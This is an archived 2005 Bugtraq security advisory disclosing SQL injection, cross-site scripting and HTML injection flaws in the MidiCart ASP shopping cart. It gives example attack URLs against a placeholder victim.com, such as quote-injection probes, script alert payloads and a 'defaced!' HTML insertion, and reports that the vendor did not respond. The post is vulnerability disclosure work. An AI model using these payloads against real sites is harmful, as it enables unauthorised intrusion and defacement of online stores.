Home page logo
/

bugtraq logo Bugtraq mailing list archives

[NOBYTES.COM: #11] MidiCart ASP Shopping Cart, Evaluation Version 7 & Standard & Pro - Multiple Vulnerabilities
From: "John Cobb" <johnc () nobytes com>
Date: Sat, 3 Sep 2005 11:27:42 +0100

Hello All,

I have discovered a number of remote vulnerabilities in:

MidiCart ASP Shopping Cart, Evaluation Version 7 & Standard & Pro

Authors Site: http://www.midicart.com/

+-[Examples:]--------------------------------------------------+


[1]------------------------------------------------------------+

Possible SQL Injection & Information Disclosure:

http://www.victim.com/item_list.asp?maingroup='&secondgroup=CDROM
http://www.victim.com/item_list.asp?maingroup=CDROM&secondgroup=&apos;
http://www.victim.com/item_show.asp?code_no=&apos;
http://www.victim.com/search_list.asp

[2]------------------------------------------------------------+

XSS:

http://www.victim.com/item_list.asp?maingroup=<script>var%20xss=31337;alert(
xss);</script>&secondgroup=CDROM
http://www.victim.com/item_list.asp?maingroup=CDROM&secondgroup=<script>var%
20xss=31337;alert(xss);</script>

[2]------------------------------------------------------------+

HTML Injection:

http://www.victim.com/item_list.asp?maingroup=<h1>defaced!</h1>&secondgroup=
CDROM
http://www.victim.com/item_list.asp?maingroup=CDROM&secondgroup=<h1>defaced<
h1>

http://www.victim.com/item_list.asp?maingroup=<h1>hello</h1>&secondgroup=<h1
defaced<h1>


+-[Notes:]-----------------------------------------------------+

Vulnerabilities found on: 21/08/2005
Author(s) Informed on: 21/08/2005
Author(s) Response: NONE
Author(s) Fix: NONE


Regards

John Cobb

JohnC () NoBytes com

http://www.NoBytes.com




  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault